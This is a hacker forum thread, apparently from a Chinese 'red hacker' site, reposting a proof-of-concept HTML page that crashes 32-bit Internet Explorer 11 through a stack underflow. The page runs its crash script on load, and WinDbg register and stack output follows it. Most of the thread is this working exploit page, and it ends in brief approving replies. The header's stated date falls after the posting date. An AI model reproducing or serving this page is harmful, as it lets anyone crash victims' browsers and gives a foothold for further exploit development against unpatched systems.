90_ 发表于 2015-9-17 00:02:22

IE11 Stack Underflow Crash PoC

<!--
# Exploit title: Microsoft Internet Explorer 11 Stack Underflow Crash PoC
# Date: 09.11.2015
# Vulnerable version: 11 (32bit version)(newest at the time 11.0.9600.17843 and 11.0.10240.16431)
# Tested on: Windows 7 64bit  and Windows 10(10240) 64bit
# Author: Mjx
# http://http://jinxin.pen.io/
-->
<!doctype html>
<html>
    <head>
        <meta http-equiv='Cache-Control' content='no-cache'/>
      
        <title>crash IE 11</title>
        <style></style>
        <script type='text/javascript' ></script>
        <script>
              
            function crash()
            {
                 var id_0 = null;
                 id_0 = document.createElement( 'THEAD' );
                 document.body.appendChild( id_0 );
                 elemTree = [];
                 elemTree= document.createElement('SELECT');
                 document.all.appendChild(elemTree);
                 elemTree= document.createElement('B');
                 document.all.appendChild(elemTree);
                 elemTree= document.createElement('SOURCE');
                 document.all.appendChild(elemTree);
                 elemTree= document.createElement('HR');
                 document.all.appendChild(elemTree);
                 elemTree.setAttribute('hidden', -4400000000);
                 elemTree= document.createElement('SELECT');
                 document.all.appendChild(elemTree);     
                 elemTree= document.createElement('RUBY');
                 document.all.appendChild(elemTree);     
                 elemTree= document.createElement('OL');
                 document.all.appendChild(elemTree);     
                 elemTree= document.createElement('AREA');
                 document.all.appendChild(elemTree);             
                 elemTree= document.createElement('ARTICLE');
                 document.all.appendChild(elemTree);
                 elemTree= document.createElement('TEXTAREA');
                 document.all.appendChild(elemTree);
                 txtRange = document.body.createTextRange();
                 txtRange.moveEnd('character', 14);
                 txtRange.select();
                 txtRange.execCommand('insertUnorderedList',true,null);            
                 txtRange = document.body.createTextRange();
                 txtRange.moveEnd('sentence', 4);
                 txtRange.select();
                 txtRange.execCommand('insertOrderedList',true,null);
              
            }
        </script>
    </head>
    <body onload='crash();'>
          
    </body>
</html>
  
<!--
(1428.1230): Stack overflow - code c00000fd (!!! second chance !!!)
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50              push    eax
0:008> kb
ChildEBP RetAddr  Args to Child             
09ab3004 5fd16800 09ab319c 09ab31a0 00001000 verifier!AVrfpDphAllocateVm+0x9
09ab3184 5fd16a8d 09ab319c 09ab31a0 00000004 verifier!DphCommitMemoryForPageHeap+0xf0
09ab31ac 5fd18e5d 000f1000 47de0068 00000000 verifier!AVrfpDphSetProtectionsBeforeUse+0x8d
09ab31dc 77cf0d96 000f0000 01000002 00000028 verifier!AVrfDebugPageHeapAllocate+0x1fd
0:008> r
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50              push    eax
0:008> !vprot esp-4
BaseAddress:       09ab2000
AllocationBase:    09ab0000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        001fe000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE
  
  
-->

54hacker 发表于 2015-9-17 01:57:38

H.U.C—Prince 发表于 2015-9-17 02:10:49

还是不错的哦，顶了

arctic 发表于 2015-9-17 17:03:04

支持，看起来不错呢！

Lucifer 发表于 2015-9-17 23:46:22

学习学习技术，加油！

云游者 发表于 2015-9-18 03:42:50

感谢楼主的分享~

a136 发表于 2015-9-18 04:24:15

支持中国红客联盟(ihonker.org)

perble 发表于 2015-9-18 05:46:40

支持中国红客联盟(ihonker.org)

ayang 发表于 2015-9-19 23:50:31

Sty，涛 发表于 2015-9-20 01:39:36

页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: IE11 Stack Underflow Crash PoC